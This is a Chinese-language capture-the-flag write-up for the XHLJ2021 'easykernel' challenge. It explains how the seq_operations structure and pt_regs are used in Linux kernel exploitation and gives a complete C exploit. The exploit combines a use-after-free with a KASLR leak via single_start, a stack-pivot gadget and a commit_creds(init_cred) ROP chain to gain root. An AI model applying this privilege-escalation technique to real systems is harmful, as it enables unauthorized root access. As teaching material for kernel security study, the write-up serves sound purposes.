XHLJ2021-easykernel之 seq_operations结合pt_regs
0x01.前置知识:
seq_operations结构体
seq_operations(kmalloc-32 | GFP_KERNEL_ACCOUNT):seq_file 函数表
seq_file会单独从seq_file_cache分配,一般难以控制。其结构体为:
struct seq_file {char *buf;size_t size;size_t from;size_t count;size_t pad_until;loff_t index;loff_t read_pos;struct mutex lock;const struct seq_operations *op;int poll_event;const struct file *file;void *private;
};
而其中seq_operations函数表结构体可以打开/proc/self/stat来获取,
该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:
struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};
总结
- 通过
open("/proc/self/stat", O_RDONLY)来打开 - 大小:
kmalloc-32 - 分配flag:
GFP_KERNEL_ACCOUNT - 泄露内核基地址
- 不带参数劫持程序控制流(通常搭配pt_regs)
打开方式
以只读方式打开文件/proc/self/stat,申请得到的是seq_operations结构体,注意不是seq_file。
利用
数据泄露 - 泄露内核基地址
seq_operations函数表中的第一个函数指针start即为函数single_start函数的地址,可以用于泄露内核基地址:
/ # cat /proc/kallsyms | grep 'single_start'
ffffffffb6c4b160 T single_start
其实其余的同理,即single_stop,single_next,single_show
劫持程序控制流
覆盖seq_operations函数表中的函数指针start。
对该结构体调用read,即可以触发seq_operations->start控制程序执行流。
注意参数不可控,一般可能需要配合pt_regs等结构体。
若需要调试,可以暂停到seq_read_iter函数,其会调用seq_operations->start
struct pt_regs 结构体
对于 pt_regs 结构体可以看我的这篇博客:kernel pwn 入门(四) ret2dir详细
这里需要注意的是:
提权之后借助swapgs_restore_regs_and_return_to_usermode函数中的pop系列来调整栈,即借用了几个栈的位置,就得少几个pop,以本题为例,如图借用了5个栈数据,那么我们最后就得使得该函数少pop5个,即将swapgs_restore_regs_and_return_to_usermode函数的gadget+=9即可。

如上修改之后就可以当进入到该函数的swapgs的时候,将栈调整至最开始因为syscall而形成的保存pt_regs结构体中的用户态数据的地方,使得提权之后成功返回用户态
struct pt_regs {
//.....................
/* Return frame for iretq */unsigned long rip;unsigned long cs;unsigned long eflags;unsigned long rsp;unsigned long ss;
/* top of stack page */
};
0x02.题目分析
首先查看启动脚本
start.sh
#!/bin/shqemu-system-x86_64 \
-m 64M \
-cpu kvm64,+smep \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-s \
-append "console=ttyS0 kaslr quiet noapic"
开了 SMEP 和 KASLR,意味着不能执行用户态代码
init
#!/bin/shmkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"insmod /test.ko
chmod 666 /dev/kerpwn
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsymspoweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/shumount /proc
umount /tmppoweroff -d 0 -f
正规!!!
逆向分析

rsi == 0x30的时候是free操作,存在 UAF
rsi == 0x20的时候是alloc操作,只能分配不超过0x20的大小

比较正常的show函数,和edit函数,由于存在UAF,所以操作的地方很多。
对于alloc函数,我们要传入如下结构体:
struct alloc
{size_t size;void *buf;
};
free函数,传入:
struct delete{size_t idx;
};
其他两个都用下面的结构体:
struct req{size_t idx;size_t size;void *buf;
};
利用
综上分析,我们可以利用UAF漏洞,使得seq_operations占用0x20大小的obj
,然后利用show函数泄露地址,再利用edit函数,修改start的地址为 gadget的地址劫持程序执行流
exp
#include "kernel_pwn.h"size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
size_t add_rsp_gadget = 0xffffffff8135b0f6; //add rsp,0x180 ; pop ?? * 5 ; ret
size_t commit_creds = 0xffffffff810c8d40;
size_t init_cred = 0xffffffff82663300;
size_t swapgs_restore_regs_and_r = 0xffffffff81c00f30;
size_t pop_rdi = 0xffffffff81089250;
int fd;
int seq_fd;struct alloc
{size_t size;void *buf;
};struct delete{size_t idx;
};struct req{size_t idx;size_t size;void *buf;
};void add(size_t size,void* data){struct alloc req = {.size = size,.buf = data};binary_dump((char*)&req,0x10,0);ioctl(fd,0x20,&req);
}void del(size_t idx){struct delete del = {.idx = idx};ioctl(fd,0x30,&del);
}void show(size_t idx,size_t size,void* buf){struct req req1 = {.idx = idx,.size = size,.buf = buf};ioctl(fd,0x40,&req1);
}void edit(size_t idx,size_t size,void* buf){struct req req1 = {.idx = idx,.size = size,.buf = buf};ioctl(fd,0x50,&req1);
}int main(){bind_core(0);save_status();size_t rop[0x100] = {0};char data[0x20] = {0};char buf[0x100] = {0};fd = open("/dev/kerpwn",2);if(fd<0){err_exit("fd open failed....");}add(0x20,data); //0del(0);seq_fd = open("/proc/self/stat",O_RDONLY);if (seq_fd < 0){err_exit("seq_id open failed...");}show(0,0x100,buf);binary_dump(buf,0x100,0);size_t single_start_addr = *(size_t*)buf;kernel_base = single_start_addr - 0x319d30;size_t offset = kernel_base - nokalsr_kernel_base;add_rsp_gadget += offset;commit_creds += offset;init_cred += offset;swapgs_restore_regs_and_r += offset+0x9;pop_rdi += offset;show_addr("kernel_base",kernel_base);show_addr("add_rsp_gadget",add_rsp_gadget);show_addr("swapgs_restore_regs_and_r",swapgs_restore_regs_and_r);show_addr("init_cred",init_cred);int idx = 0;rop[idx++] = add_rsp_gadget;edit(0,0x8,rop);show(0,0x20,buf);binary_dump(buf,0x10,0);// sleep(10);__asm__("mov r15, 0xbeefdead;""mov r14, pop_rdi;""mov r13, init_cred;""mov r12, commit_creds;""mov rbp, swapgs_restore_regs_and_r;""mov rbx, 0x55555555;""mov r11, 0x66666666;""mov r10, 0x77777777;""mov r9, 0x88888888;""mov r8, 0x99999999;""xor rax, rax;""mov rcx, 0xaaaaaaaa;""mov rdx, 8;""mov rsi, rsp;""mov rdi, seq_fd;" "syscall");get_shell();return 0;
}
gadget如下:
ffffffff8135b0f6: 48 81 c4 80 01 00 00 add rsp,0x180
ffffffff8135b0fd: 5b pop rbx
ffffffff8135b0fe: 41 5c pop r12
ffffffff8135b100: 41 5d pop r13
ffffffff8135b102: 41 5e pop r14
ffffffff8135b104: 5d pop rbp
ffffffff8135b105: c3 ret
调试

Dump后看到seq_operations第一个函数的地址被我们改成了gadget的地址,
执行read函数时,程序被劫持到我们gadget的位置执行。

最后pt_regs形成如下:

